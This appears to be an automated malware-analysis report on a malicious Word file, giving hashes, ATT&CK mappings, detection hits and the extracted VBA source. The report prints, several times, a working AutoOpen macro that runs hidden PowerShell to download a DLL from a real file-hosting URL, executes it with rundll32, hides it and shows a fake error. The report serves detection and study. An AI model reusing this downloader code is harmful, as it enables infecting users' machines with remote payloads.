Office (OOXML) malware analysis — malicious · 6f8de91852f8218c

MALICIOUS

Office (OOXML)

47.0 KB Created: 2017-05-25 19:12:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-10

MD5: b229cbaa435a5c1d3cfdc32819a3f164 SHA-1: dffeefb268d7a6e435ade5e232bf2e86bda42ecd SHA-256: 6f8de91852f8218cda20ec68d39df53ff813454c7ae681af320fa66fd7d69a8c

410 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059.001 PowerShell T1059.003 Windows Command Shell T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains a VBA macro with an AutoOpen subroutine that executes a PowerShell command. This command downloads a DLL file from 'https://srv-file5.gofile.io/download/HUPtFz/dll.dll' to 'C:\ProgramData\dll.dll', then executes it using rundll32. The macro also attempts to hide the downloaded file and displays a 'Corrupted File' message to the user.

Heuristics 9

ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
VBA project inside OOXML medium 6 related findings OOXML_VBA

Document contains a VBA project — VBA macros present

Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA

Matched line in script

    Dim x
    x = Shell("cmd.exe /c powershell -NoP -NonI -W Hidden -Exec Bypass ""IEX (New-Object System.Net.WebClient).DownloadFile('https://srv-file5.gofile.io/download/HUPtFz/dll.dll','C:\ProgramData\dll.dll'); Start-Process rundll32 ""C:\ProgramData\dll.dll"",func")
    Sleep 9000

PowerShell reference in VBA critical OLE_VBA_PS

PowerShell reference in VBA

Matched line in script

    Dim x
    x = Shell("cmd.exe /c powershell -NoP -NonI -W Hidden -Exec Bypass ""IEX (New-Object System.Net.WebClient).DownloadFile('https://srv-file5.gofile.io/download/HUPtFz/dll.dll','C:\ProgramData\dll.dll'); Start-Process rundll32 ""C:\ProgramData\dll.dll"",func")
    Sleep 9000

LOLBin reference in VBA critical OLE_VBA_LOLBIN

LOLBin reference in VBA

Matched line in script

    Dim x
    x = Shell("cmd.exe /c powershell -NoP -NonI -W Hidden -Exec Bypass ""IEX (New-Object System.Net.WebClient).DownloadFile('https://srv-file5.gofile.io/download/HUPtFz/dll.dll','C:\ProgramData\dll.dll'); Start-Process rundll32 ""C:\ProgramData\dll.dll"",func")
    Sleep 9000

cmd.exe reference in VBA high OLE_VBA_CMD

cmd.exe reference in VBA

Matched line in script

    Dim x
    x = Shell("cmd.exe /c powershell -NoP -NonI -W Hidden -Exec Bypass ""IEX (New-Object System.Net.WebClient).DownloadFile('https://srv-file5.gofile.io/download/HUPtFz/dll.dll','C:\ProgramData\dll.dll'); Start-Process rundll32 ""C:\ProgramData\dll.dll"",func")
    Sleep 9000

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
#End If
Sub AutoOpen()
    Dim x
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
- https://srv-file5.gofile.io/download/HUPtFz/dll.dllIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	967 bytes
SHA-256: `c1ba350374cb86e5146ba66f5d341334469e0d274eb33d1a359aa5859baca540`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "NewMacros" #If VBA7 Then ' Excel 2010 or later Public Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal Milliseconds As LongPtr) #Else ' Excel 2007 or earlier Public Declare Sub Sleep Lib "kernel32" (ByVal Milliseconds As Long) #End If Sub AutoOpen() Dim x x = Shell("cmd.exe /c powershell -NoP -NonI -W Hidden -Exec Bypass ""IEX (New-Object System.Net.WebClient).DownloadFile('https://srv-file5.gofile.io/download/HUPtFz/dll.dll','C:\ProgramData\dll.dll'); Start-Process rundll32 ""C:\ProgramData\dll.dll"",func") Sleep 9000 SetAttr "C:\ProgramData\dll.dll", vbReadOnly + vbHidden MsgBox "Corrupted File", vbCritical End Sub
`vbaProject_00.bin`	vba-project	OOXML VBA project: word/vbaProject.bin	12288 bytes
SHA-256: `a3bb771b61316898f7e4ec5e756f1a8e68b51d38ba9438c5fe6cf5b2fa66613e`
Detection ClamAV: Doc.Downloader.Pwshell-10001336-0 Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.